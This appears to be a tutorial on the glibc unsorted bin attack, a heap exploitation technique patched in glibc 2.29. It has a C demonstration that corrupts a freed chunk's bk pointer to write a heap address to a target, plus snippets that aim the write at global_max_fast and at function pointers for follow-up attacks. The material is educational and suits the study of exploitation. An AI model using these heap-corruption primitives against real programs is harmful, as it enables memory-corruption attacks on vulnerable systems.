The unsorted bin attack is a heap exploitation technique that allows writing a large value (a heap address) to an arbitrary memory location. It exploits the linking mechanism of the unsorted bin to perform an arbitrary write, typically used as a setup step for more complex attacks.
This technique was patched in glibc 2.29. It only works on glibc versions < 2.29.
Write a large value (heap address) to an arbitrary memory location
Overwrite global_max_fast - enable fastbin attacks on larger chunks
Corrupt function pointers - if you can tolerate a heap address value
Setup for further exploitation - prepare the heap for follow-up attacks
The unsorted bin attack is generally prepared for further attacks. A common target is the global_max_fast variable in libc, which when overwritten enables fastbin attacks on arbitrarily large chunks.
#include <stdio.h>#include <stdlib.h>int main(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n"); unsigned long stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); unsigned long *p=malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500); free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]); //------------VULNERABILITY----------- p[1]=(unsigned long)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); //------------------------------------ malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);}
The most common target for unsorted bin attack is global_max_fast in libc.
Overwriting global_max_fast with a large value allows you to:
Treat larger chunks as fastbin chunks
Bypass fastbin size checks
Enable fastbin attacks on arbitrary-sized chunks
// After leaking libc base addressunsigned long *global_max_fast = libc_base + global_max_fast_offset;victim->bk = (unsigned long)(global_max_fast - 2);malloc(400);// Now global_max_fast is corrupted with a huge value
void (*func_ptr)(void) = NULL;victim->bk = (unsigned long)(&func_ptr - 2);malloc(400);// func_ptr now contains a heap address// Can be useful if heap contains shellcode